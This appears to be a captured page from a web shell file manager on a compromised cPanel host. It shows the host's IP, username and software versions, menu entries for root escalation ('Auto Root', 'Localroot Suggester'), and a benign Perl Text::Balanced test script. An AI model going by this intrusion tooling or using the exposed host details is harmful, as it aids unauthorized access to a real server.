Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Text-Balanced /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01_compile.t
116
B
-r--r--r--
2014-12-27 11:48
02_extbrk.t
2.21
KB
-r--r--r--
2014-12-27 11:48
03_extcbk.t
2.39
KB
-r--r--r--
2014-12-27 11:48
04_extdel.t
1.88
KB
-r--r--r--
2014-12-27 11:48
05_extmul.t
6.79
KB
-r--r--r--
2014-12-27 11:48
06_extqlk.t
3.46
KB
-r--r--r--
2014-12-27 11:48
07_exttag.t
3.41
KB
-r--r--r--
2014-12-27 11:48
08_extvar.t
2.39
KB
-r--r--r--
2014-12-27 11:48
09_gentag.t
2.75
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
# Before `make install' is performed this script should be runnable with # `make test'. After `make install' it should work as `perl test.pl' ######################### We start with some black magic to print on failure. # Change 1..1 below to 1..last_test_to_print . # (It may become useful if the test is moved to ./t subdirectory.) BEGIN { $| = 1; print "1..45\n"; } END {print "not ok 1\n" unless $loaded;} use Text::Balanced qw ( extract_delimited ); $loaded = 1; print "ok 1\n"; $count=2; use vars qw( $DEBUG ); sub debug { print "\t>>>",@_ if $DEBUG } ######################### End of black magic. $cmd = "print"; $neg = 0; while (defined($str = <DATA>)) { chomp $str; if ($str =~ s/\A# USING://) { $neg = 0; $cmd = $str; next; } elsif ($str =~ /\A# TH[EI]SE? SHOULD FAIL/) { $neg = 1; next; } elsif (!$str || $str =~ /\A#/) { $neg = 0; next } $str =~ s/\\n/\n/g; debug "\tUsing: $cmd\n"; debug "\t on: [$str]\n"; $var = eval "() = $cmd"; debug "\t list got: [$var]\n"; debug "\t list left: [$str]\n"; print "not " if (substr($str,pos($str)||0,1) eq ';')==$neg; print "ok ", $count++; print " ($@)" if $@ && $DEBUG; print "\n"; pos $str = 0; $var = eval $cmd; $var = "<undef>" unless defined $var; debug "\t scalar got: [$var]\n"; debug "\t scalar left: [$str]\n"; print "not " if ($str =~ '\A;')==$neg; print "ok ", $count++; print " ($@)" if $@ && $DEBUG; print "\n"; } __DATA__ # USING: extract_delimited($str,'/#$',undef,'/#$'); /a/; /a///; #b#; #b###; $c$; $c$$$; # TEST EXTRACTION OF DELIMITED TEXT WITH ESCAPES # USING: extract_delimited($str,'/#$',undef,'\\'); /a/; /a\//; #b#; #b\##; $c$; $c\$$; # TEST EXTRACTION OF DELIMITED TEXT # USING: extract_delimited($str); 'a'; "b"; `c`; 'a\''; 'a\\'; '\\a'; "a\\"; "\\a"; "b\'\"\'"; `c '\`abc\`'`; # TEST EXTRACTION OF DELIMITED TEXT # USING: extract_delimited($str,'/#$','-->'); -->/a/; -->#b#; -->$c$; # THIS SHOULD FAIL $c$;